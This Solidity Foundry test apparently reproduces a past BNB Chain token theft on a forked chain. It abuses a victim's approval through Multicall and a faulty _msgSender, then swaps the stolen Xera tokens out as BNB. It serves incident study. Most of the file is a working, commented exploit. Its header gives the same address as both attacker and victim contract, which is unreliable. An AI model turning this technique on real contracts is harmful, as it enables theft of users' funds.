src/test/2025-08/MulticallWithXera_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 17k USD
8// Attacker : https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af3
9// Attack Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7
10// Vulnerable Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7
11// Attack Tx : https://bscscan.com/tx/0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7#code
15 
16// @Analysis
17// Post-mortem : https://x.com/TenArmorAlert/status/1958354933247590450
18// Twitter Guy : https://x.com/TenArmorAlert/status/1958354933247590450
19// Hacking God : N/A
20 
21 
22contract Multicall is BaseTestWithBalanceLog {
23    uint256 blocknumToForkFrom = 58269338 - 1;
24 
25    address constant multicall = 0xcA11bde05977b3631167028862bE2a173976CA11;
26    address constant cakeLP = 0x231075E4AA60d28681a2d6D4989F8F739BAC15a0;
27    address constant xera = 0x93E99aE6692b07A36E7693f4ae684c266633b67d;
28    address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29    address constant victim = 0x9a619Ae8995A220E8f3A1Df7478A5c8d2afFc542;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        // Set the funding token to native BNB (address(0)) for balance logging.
34        fundingToken = address(0);
35    }
36 
37    function testExploit() public balanceLog {
38        // The core of the exploit is to abuse the token approval granted by the victim to
39        // the Multicall contract. 
40 
41        // 1. Craft the malicious calldata.
42        // The parameters are:
43        // - from: the `victim` contract's address.
44        // - to: the `cakeLP` (PancakeSwap LP) address.
45        // - amount: a large amount of Xera tokens to be transferred.
46        bytes memory data = abi.encodeCall(
47            IERC20.transferFrom,
48            (
49                victim,
50                cakeLP,
51                27900000000000000000000000
52            )
53        );
54 
55        // 2. Prepare the call for the Multicall contract.
56        // - target: the `xera` token contract. The `transferFrom` will be executed on this contract.
57        // - allowFailure: false, meaning the transaction will revert if this call fails.
58        // - callData: the malicious calldata crafted in the previous step.
59        IMulticall.Call3 memory call = IMulticall.Call3({
60            target: address(xera),
61            allowFailure: false,
62            callData: data
63        });
64 
65        // 3. Execute the malicious call via Multicall's `aggregate3`.
66        // The `aggregate3` function of the Multicall contract executes the provided calls.
67        // Due to the vulnerability, when the `xera` contract receives this call, it will
68        // incorrectly identify the `victim` contract as the `msg.sender` because of how `_msgSender()` is implemented.
69        // This allows the `transferFrom` to succeed as if the victim had initiated it,
70        // since the victim had previously approved the multicall contract to spend its Xera tokens.
71        IMulticall.Call3[] memory calls = new IMulticall.Call3[](1);
72        calls[0] = call;
73        IMulticall(multicall).aggregate3(calls);
74 
75 
76        // 4. Swap the stolen tokens for WBNB.
77        // The attacker now controls the stolen Xera tokens within the PancakeSwap LP contract.
78        // They call the `swap` function on the `cakeLP` pair to exchange the Xera tokens for WBNB.
79        IPancakePair(cakeLP).swap(0, 41034748173552867045, address(this), "");
80 
81        // 5. Withdraw the WBNB to the attacker's address.
82        // The final step is to unwrap the WBNB into native BNB, effectively cashing out the stolen funds.
83        IERC20(wbnb).withdraw(41034748173552867045);
84 
85    }
86 
87    // A receive function to allow the contract to receive native BNB.
88    receive() external payable{}
89}
90 
91 
92interface IMulticall {
93     function aggregate3(Call3[] calldata calls) external payable returns (Result[] memory returnData);
94 
95 
96    struct Call3 {
97        address target;
98        bool allowFailure;
99        bytes callData;
100    }
101 
102 
103    struct Result {
104        bool success;
105        bytes returnData;
106    }
107}